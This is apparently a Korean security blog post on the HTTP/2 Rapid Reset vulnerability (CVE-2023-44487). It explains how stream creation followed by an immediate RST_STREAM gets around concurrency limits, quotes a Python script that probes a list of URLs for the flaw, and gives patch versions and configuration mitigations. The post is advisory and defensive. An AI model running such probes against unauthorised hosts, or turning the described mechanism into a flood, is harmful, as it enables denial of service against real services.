1. HTTP/2 [1]

- 2015년 IETF에 의해 공식적으로 발표된 HTTP/1.1의 후속 버전

구분 설명
HTTP/1.0 - 하나의 Connection하나의 요청을 처리하도록 설계
- 서버에 요청시 매번 연결/해제 과정을 반복해야 했으므로 RTT가 오래 걸리는 단점이 존재 (≒ 속도가 느리다)
> RTT(Round Trip Time): 패킷이 왕복하는데 걸린 시간
HTTP/1.1 - Persistent Connection: 매번 Connection을 생성하지 않고, keep-alive 옵션을 이용해 일정 시간동안 연결 유지
- Pipelining: 클라이언트는 앞 요청의 응답을 기다리지 않고, 순차적으로 요청을 전송하며 서버는 요청이 들어온 순서대로 응답
- HOL Blocking (Head Of Line Blocking): 앞의 요청에 대한 응답이 늦어지면 뒤의 모든 요청들 또한 지연이 발생
- 무거운 Header 구조: 매 요청마다 중복된 헤더 값을 전송하여, 헤더 크기가 증가하는 문제
HTTP/2 - 구글의 비표준 개방형 네트워크 프로토콜 SPDY 기반
- Multiplexed Streams: 하나의 Connection을 통해 여러 데이터 요청을 병렬로 전송할 수 있음, 응답의 경우 순서 상관없이 Stream으로 전송
- Header 압축: 이전 요청에 사용된 헤더 목록을 유지관리하여 헤더 정보를 구성
- Binary protocol: 복잡성 감소, 단순한 명령어 구현 등
- Server Push: 요청되지 않았지만 향후 예상되는 추가 정보를 클라이언트에 전송할 수 있음
- Stream Prioritization: 리소스간 의존관계에 따른 우선순위를 설정하여 리소스 로드 문제 해결
- HOL Blocking (Head Of Line Blocking): 앞의 요청에 대한 응답이 늦어지면 뒤의 모든 요청들 또한 지연이 발생
HTTP/3 - QUIC라는 계층 위에서 동작하며 UDP 기반
- UDP 기반이기 때문에 RTT 감소 및 HOL Blocking 문제를 극복

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2023-44487 [2]

- HTTP/2의 구조적 문제를 악용해 서비스 거부를 유발 시키는 제로데이 취약점

- 해당 취약점을 악용할 경우 DDoS 공격 규모는 약 2억 100만 RPS

> 종전 기록은 7100만 RPS

 

2.1 취약점 상세

- HTTP/2는 HTTP/1.1의 순차처리 방식의 단점을 보완Multiplexed Streams을 지원

> HTTP/1.1에서는 각 요청이 순차적으로 처리되어 비효율적이며, 지연 시간이 늘어나는 단점이 있음

> HTTP/2는 하나의 Connection상에서 동시에 여러 개의 요청을 보내 문제점을 개선

※ HTTP/2에서 Stream ID를 이용해 데이터를 처리하므로 동시에 여러 데이터를 병렬 처리가 가능함

 

[사진 2] HTTP/1.1(위) HTTP/2(아래) 동작 방식 비교 [3]

 

- 또한, 클라이언트나 서버는 RST_STREAM 스트림을 전송함으로써 스트림을 취소할 수 있는 기능이 존재

> RST_STREAM을 이용해 불필요한 작업이 발생하는 것을 방지할 수 있음

> 잘못된 요청 또는 불필요 데이터 요청 등을 취소하고 빠르게 재설정할 수 있도록 하므로 Rapid Reset으로 불림

 

- 서버는 MAX_CONCURRENT_STREAMS 값을 설정하여, 서버에서 처리 가능한 스트림의 양을 명시

> 해당 값을 초과하는 요청이 발생하면, RST_STREAM을 발생시키고 요청을 거절

※ Stream을 지속적으로 보내 서버의 자원을 고갈시키는 단순한 유형의 DDoS 대응책으로 판단됨

 

- 공격자는 스트림을 요청한 후 바로 RST_STREAM을 요청하여 DDoS를 유발

> MAX_CONCURRENT_STREAMS 값을 초과하지 않기 때문에, 우회가 가능함

> 즉, MAX_CONCURRENT_STREAMS 값 이상의 스트림을 보낼 수 있음

[사진 4] HTTP/2 Rapid Reset DDoS 요약 [4]

 

2.2 PoC [5]

① 웹 서버가 HTTP/2 요청을 다운그레이드하지 않고 수락하는지 확인

② 웹 서버가 HTTP/2 요청을 수락하고 다운그레이드하지 않을 경우, 연결 스트림을 열고 재설정 시도

③ 웹 서버가 연결 스트림의 생성 및 재설정을 수락하는 경우 취약점의 영향을 받음

#!/usr/bin/env python3

import ssl
import sys
import csv
import socket
import argparse

from datetime import datetime
from urllib.parse import urlparse
from http.client import HTTPConnection, HTTPSConnection

from h2.connection import H2Connection
from h2.config import H2Configuration

import httpx
import requests

def get_source_ips(proxies):
    """
    Retrieve the internal and external IP addresses of the machine.
    
    Accepts:
        proxies (dict): A dictionary of proxies to use for the requests.
    
    Returns:
        tuple: (internal_ip, external_ip)
    """
    try:
        response = requests.get('http://ifconfig.me', timeout=5, proxies=proxies)
        external_ip = response.text.strip()

        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.settimeout(2)
        try:
            s.connect(('8.8.8.8', 1))
            internal_ip = s.getsockname()[0]
        except socket.timeout:
            internal_ip = '127.0.0.1'
        except Exception as e:
            internal_ip = '127.0.0.1'
        finally:
            s.close()
        
        return internal_ip, external_ip
    except requests.exceptions.Timeout:
        print("External IP request timed out.")
        return None, None
    except Exception as e:
        print(f"Error: {e}")
        return None, None
    
def check_http2_support(url, proxies):
    """
    Check if the given URL supports HTTP/2.
    
    Parameters:
        url (str): The URL to check.
        proxies (dict): A dictionary of proxies to use for the requests.
        
    Returns:
        tuple: (status, error/version)
        status: 1 if HTTP/2 is supported, 0 otherwise, -1 on error.
        error/version: Error message or HTTP version if not HTTP/2.
    """
    try:
        # Update the proxies dictionary locally within this function
        local_proxies = {}
        if proxies:
            local_proxies = {
                'http://': proxies['http'],
                'https://': proxies['https'],
            }
        
        # Use the proxy if set, otherwise don't
        client_options = {'http2': True, 'verify': False}  # Ignore SSL verification
        if local_proxies:
            client_options['proxies'] = local_proxies
        
        with httpx.Client(**client_options) as client:
            response = client.get(url)
        
        if response.http_version == 'HTTP/2':
            return (1, "")
        else:
            return (0, f"{response.http_version}")
    except Exception as e:
        return (-1, f"check_http2_support - {e}")

def send_rst_stream_h2(host, port, stream_id, uri_path='/', timeout=5, proxy=None):
    """
    Send an RST_STREAM frame to the given host and port.
    
    Parameters:
        host (str): The hostname.
        port (int): The port number.
        stream_id (int): The stream ID to reset.
        uri_path (str): The URI path for the GET request.
        timeout (int): The timeout in seconds for the socket connection.
        proxy (str): The proxy URL, if any.
        
    Returns:
        tuple: (status, message)
        status: 1 if successful, 0 if no response, -1 otherwise.
        message: Additional information or error message.
    """
    try:
        # Create an SSL context to ignore SSL certificate verification
        ssl_context = ssl.create_default_context()
        ssl_context.check_hostname = False
        ssl_context.verify_mode = ssl.CERT_NONE

        # Create a connection based on whether a proxy is used
        if proxy and proxy != "":
            proxy_parts = urlparse(proxy)
            if port == 443:
                conn = HTTPSConnection(proxy_parts.hostname, proxy_parts.port, timeout=timeout, context=ssl_context)
                conn.set_tunnel(host, port)
            else:
                conn = HTTPConnection(proxy_parts.hostname, proxy_parts.port, timeout=timeout)
                conn.set_tunnel(host, port)
        else:
            if port == 443:
                conn = HTTPSConnection(host, port, timeout=timeout, context=ssl_context)
            else:
                conn = HTTPConnection(host, port, timeout=timeout)

        conn.connect()

        # Initiate HTTP/2 connection
        config = H2Configuration(client_side=True)
        h2_conn = H2Connection(config=config)
        h2_conn.initiate_connection()
        conn.send(h2_conn.data_to_send())

        # Send GET request headers
        headers = [(':method', 'GET'), (':authority', host), (':scheme', 'https'), (':path', uri_path)]
        h2_conn.send_headers(stream_id, headers)
        conn.send(h2_conn.data_to_send())

        # Listen for frames and send RST_STREAM when appropriate
        while True:
            data = conn.sock.recv(65535)
            if not data:
                break

            events = h2_conn.receive_data(data)
            has_sent = False
            for event in events:
                if hasattr(event, 'stream_id'):
                    if event.stream_id == stream_id:
                        h2_conn.reset_stream(event.stream_id)
                        conn.send(h2_conn.data_to_send())
                        has_sent = True
                        break # if we send the reset once we don't need to send it again because we at least know it worked

            if has_sent: # if we've already sent the reset, we can just break out of the loop
                return (1, "")
            else:
                # if we haven't sent the reset because we never found a stream_id matching the one we're looking for, we can just try to send to stream 1
                
                available_id = h2_conn.get_next_available_stream_id()
                if available_id == 0:
                    # if we can't get a new stream id, we can just send to stream 1
                    h2_conn.reset_stream(1)
                    conn.send(h2_conn.data_to_send())
                    return (0, "Able to send RST_STREAM to stream 1 but could not find any available stream ids")
                else:
                    # if we can get a new stream id, we can just send to that
                    h2_conn.reset_stream(available_id)
                    conn.send(h2_conn.data_to_send())
                    return (1, "")
                    
        conn.close()
        return (0, "No response")
    except Exception as e:
        return (-1, f"send_rst_stream_h2 - {e}")

def extract_hostname_port_uri(url):
    """
    Extract the hostname, port, and URI from a URL.
    
    Parameters:
        url (str): The URL to extract from.
        
    Returns:
        tuple: (hostname, port, uri)
    """
    try:
        parsed_url = urlparse(url)
        hostname = parsed_url.hostname
        port = parsed_url.port
        scheme = parsed_url.scheme
        uri = parsed_url.path  # Extracting the URI
        if uri == "":
            uri = "/"

        if not hostname:
            return -1, -1, ""

        if port:
            return hostname, port, uri

        if scheme == 'http':
            return hostname, 80, uri

        if scheme == 'https':
            return hostname, 443, uri

        return hostname, (80, 443), uri
    except Exception as e:
        return -1, -1, ""

if __name__ == "__main__":

    parser = argparse.ArgumentParser()
    parser.add_argument('-i', '--input', required=True)
    parser.add_argument('-o', '--output', default='/dev/stdout')
    parser.add_argument('--proxy', help='HTTP/HTTPS proxy URL', default=None)
    parser.add_argument('-v', '--verbose', action='store_true')
    args = parser.parse_args()

    proxies = {}
    if args.proxy:
        proxies = {
            'http': args.proxy,
            'https': args.proxy,
        }

    internal_ip, external_ip = get_source_ips(proxies)

    with open(args.input) as infile, open(args.output, 'w', newline='') as outfile:
        csv_writer = csv.writer(outfile)
        csv_writer.writerow(['Timestamp', 'Source Internal IP', 'Source External IP', 'URL', 'Vulnerability Status', 'Error/Downgrade Version'])
        
        for line in infile:
            addr = line.strip()
            if addr != "":
                now = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
                
                if args.verbose:
                    print(f"Checking {addr}...", file=sys.stderr)
                
                http2support, err = check_http2_support(addr, proxies)
                
                hostname, port, uri = extract_hostname_port_uri(addr)
                
                if http2support == 1:
                    resp, err2 = send_rst_stream_h2(hostname, port, 1, uri, proxy=args.proxy)
                    if resp == 1:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'VULNERABLE', ''])
                    elif resp == -1:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'POSSIBLE', f'Failed to send RST_STREAM: {err2}'])
                    elif resp == 0:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'LIKELY', 'Got empty response to RST_STREAM request'])
                else:
                    if http2support == 0:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'SAFE', f"Downgraded to {err}"])
                    else:
                        csv_writer.writerow([now, internal_ip, external_ip, addr, 'ERROR', err])

 

3. 대응방안

- 보안 업데이트 적용 [6]

종류 안전한 버전
NGINX 1.25.3 버전 이상
Apache HTTP Server nghttp2 1.57.0 버전 이상
Apache Tomcat 10.1.14 버전 이상
IIS 2023년 10월 10일 버전 업데이트 [7]
OpenResty 1.21.4.3 버전 이상

 

- 에러 로그 모니터링

> 알려진 연구에 따르면 공격 발생시 499, 502 에러가 발생되므로 관련 에러 로그 모니터링

※ 499: 클라이언트가 요청을 전송한 후 서버에 응답을 받기 전에 연결이 끊어진 경우 (강제 종료, 네트워크 문제 등의 경우)

※ 502: 게이트웨이가 잘못된 프로토콜을 연결하거나, 어느쪽 프로토콜에 문제가 있어 통신이 제대로 되지 않는 경우 (서버 과부하, 사용자 브라우저 이상, 잘못된 네트워크 연결 등의 경우)

 

- GOAWAY 프레임 전송

> HTTP/2에서 GOAWAY 프레임은 서버에서 발생되며, 연결 종료를 알리는 프레임

> RST_STREAM 발생 횟수를 카운트하여 해당 값이 임계 값을 초과하는 경우 GOAWAY 프레임 전송

 

- 관련 설정 값 수정 [6]

> F5 NGINX의 경우 최대 1000개의 연결을 유지하고, MAX_CONCURRENT_STREAMS 값을 128로 설정 하도록 권고

종류 설정 값
NGINX - http2_max_concurrent_streams 120
- keepalive_requests 1,000
Apache HTTP Server  H2MaxSessionStreams 120
Apache Tomcat  maxConcurrentStreams 120

 

- 공격 발생 IP 차단

 

- HTTP/2 미사용 또는 HTTP/3 고려

 

4. 참고

[1] https://github.com/dongkyun-dev/TIL/blob/master/web/HTTP1.1%EA%B3%BC%20HTTP2.0%2C%20%EA%B7%B8%EB%A6%AC%EA%B3%A0%20%EA%B0%84%EB%8B%A8%ED%95%9C%20HTTP3.0.md
[2] https://nvd.nist.gov/vuln/detail/CVE-2023-44487
[3] https://www.wallarm.com/what/what-is-http-2-and-how-is-it-different-from-http-1
[4] https://www.nginx.com/blog/http-2-rapid-reset-attack-impacting-f5-nginx-products/

[5] https://github.com/bcdannyboy/cve-2023-44487

[6] https://www.ncsc.go.kr:4018/main/cop/bbs/selectBoardArticle.do?bbsId=SecurityAdvice_main&nttId=107187#LINK

[7] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-44487

[8] https://cloud.google.com/blog/products/identity-security/how-it-works-the-novel-http2-rapid-reset-ddos-attack?hl=en  
[9] https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
[10] https://www.cisa.gov/news-events/alerts/2023/10/10/http2-rapid-reset-vulnerability-cve-2023-44487
[11] https://www.rfc-editor.org/rfc/rfc9113
[12] https://www.securityweek.com/rapid-reset-zero-day-exploited-to-launch-largest-ddos-attacks-in-history/
[13] https://www.securityweek.com/organizations-respond-to-http-2-zero-day-exploited-for-ddos-attacks/
[14] https://www.helpnetsecurity.com/2023/10/10/cve-2023-44487-http-2-rapid-reset/
[15] https://www.boannews.com/media/view.asp?idx=122547&page=1&kind=1 

+ Recent posts